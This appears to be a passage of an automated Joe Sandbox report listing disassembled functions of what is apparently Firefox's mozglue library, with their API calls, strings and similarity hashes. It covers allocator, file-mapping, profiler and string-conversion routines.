free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

MapViewOfFileNuma2, xrefs: 6C5B97B1
ntdll.dll, xrefs: 6C5B96E3
NtMapViewOfSection, xrefs: 6C5B9701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5F0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5F0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5F0041
GetCurrentThreadId.KERNEL32 ref: 6C5F0075
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5F0090
free.MOZGLUE(?), ref: 6C5F0104
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5F011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5F005B

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction ID: 0eb772bf9908e6596cba5fe7f507e46c04ecbb69b9be0c314c8e5e05914ccc09
Opcode Fuzzy Hash: af18a1f1d78be552eb663957bd8412e6eed470eb56b6f980b9a215d414327fdc
Instruction Fuzzy Hash: A4419CB1600654DFCB10CF65CC80A9ABBF1FF89318F44491EE95A93B40D735A805CF9A

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5A2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C5C3F47,?,?,?,6C5C3F47,6C5C1A70,?), ref: 6C5A207F
memset.VCRUNTIME140(?,000000E5,6C5C3F47,?,6C5C3F47,6C5C1A70,?), ref: 6C5A20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C5C3F47,6C5C1A70,?), ref: 6C5A211A
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21BA
EnterCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A21E0
LeaveCriticalSection.KERNEL32(6C62E744,?,6C5C3F47,6C5C1A70,?), ref: 6C5A2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C5A2253, 6C5A2268
MOZ_CRASH(), xrefs: 6C5A227D

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction ID: f906794ea276d6b7bf528a3efdfbbbe4a353718c8b8b2fe4fc34d5b5ade621a2
Opcode Fuzzy Hash: 86f7b2715af6e9c6877d8ef67d9f51b278ee3edee4ddc2bc8f8011083f56c2d3
Instruction Fuzzy Hash: 8361C231F002168FCB04CAABCD8A76E76B1EF85318F254639E929A7A94D7749C01CA85

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction Fuzzy Hash: 1E719DB0A09B41CBC716CF58C88059AF3F4FF99314B84965DE95A9B701EB30E886CBD1

Function 6C5FDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5FDDCF

Part of subcall function 6C5DFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5DFA4B

Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F90FF
Part of subcall function 6C5F90E0: free.MOZGLUE(?,00000000,?,?,6C5FDEDB), ref: 6C5F9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE0D
free.MOZGLUE(00000000), ref: 6C5FDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5FDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF32

Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDB86
Part of subcall function 6C5FDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5FDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C5EDEFD,?,6C5B4A68), ref: 6C5FDF65
free.MOZGLUE(?), ref: 6C5FDF80

Part of subcall function 6C5C5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
Part of subcall function 6C5C5E90: memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
Part of subcall function 6C5C5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction ID: e9d9f3a7715c3da00ed2307247d91099d61ff5c943ff41bb846aa0dd65ddfe1b
Opcode Fuzzy Hash: a93f226ff001548a579bb6d5680957d14381645c5c3d1099f92fa9ebc7e4e195
Instruction Fuzzy Hash: C451A3726016009BE7199F28CC806AEB376AFD1308F95051CDA2A53B00DB31F91BCF96

Function 6C605D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605DC9
std::_Facet_Register.LIBCPMT ref: 6C605DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C605C8C,?,6C5DE829), ref: 6C605E45

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction ID: e30331564348a2ea0243372d30cab556a56615624ce3625c0d870351296d7690
Opcode Fuzzy Hash: 871dac4c81d3ed0953dd66f54eddc66779fee5913753c2f61b4aebdab8ac5640
Instruction Fuzzy Hash: 65417F307002058FCB14EF6AC9D8AAE77FAEF89314F044469D50AA7791DB34A805CB6D

Function 6C5DCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5A31A7), ref: 6C5DCDDD

Strings

<jemalloc>, xrefs: 6C5DCF9F, 6C5DCFB3
: (malloc) Error in VirtualFree(), xrefs: 6C5DCFA4, 6C5DCFB8

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction ID: 998e27ab659295d1e5994167c4859d8b0af2eea0761ea0fb29930de1b0c23f75
Opcode Fuzzy Hash: 59991e841da24b02a7d6701440c61c268d3e8a587b7c6203eb3020ac1d84045a
Instruction Fuzzy Hash: B031C770B403069BEF11AFAD8C85BAE7775EB81754F214015F611EBA80DB74F900CB99

Function 6C5AECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C5AED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5AEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C5AEDCC
CreateFileW.KERNEL32 ref: 6C5AEE08
free.MOZGLUE(00000000), ref: 6C5AEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C5AEE32

Part of subcall function 6C5AEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C5AEBB5
Part of subcall function 6C5AEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C5DD7F3), ref: 6C5AEBC3
Part of subcall function 6C5AEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C5DD7F3), ref: 6C5AEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C5AEDC1

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction ID: 98bbf4f3ef0777127e5ae27a845bd472b8300f5f5d205e968e16351221157966
Opcode Fuzzy Hash: ed7730c43932792132b6632c2cd87483b03c9e08a81952d9e3848b32a4ac58d0
Instruction Fuzzy Hash: 7551D071D05204CBDB00DFAACC806EEB7B1AF99318F44892DE8556B740E770695ACBA2

Function 6C61A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A565

Part of subcall function 6C61A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61A4BE
Part of subcall function 6C61A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C61A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C61A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C61A6B6

Strings

z, xrefs: 6C61A6AE
0, xrefs: 6C61A5FB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
Instruction ID: 915c25c0bad6a613ca7e3937631c18ba55314a02d7f2e53d91269edd6a871d94
Opcode Fuzzy Hash: 353ff2b689af6809951fbe571db2c758c231e7299376bf09e47aaffb2fa8d897
